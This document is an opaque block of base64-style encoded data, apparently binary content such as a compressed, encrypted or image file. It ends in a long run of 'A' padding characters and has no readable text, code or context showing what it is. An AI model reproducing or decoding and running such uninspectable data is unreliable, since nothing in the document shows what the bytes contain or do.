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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA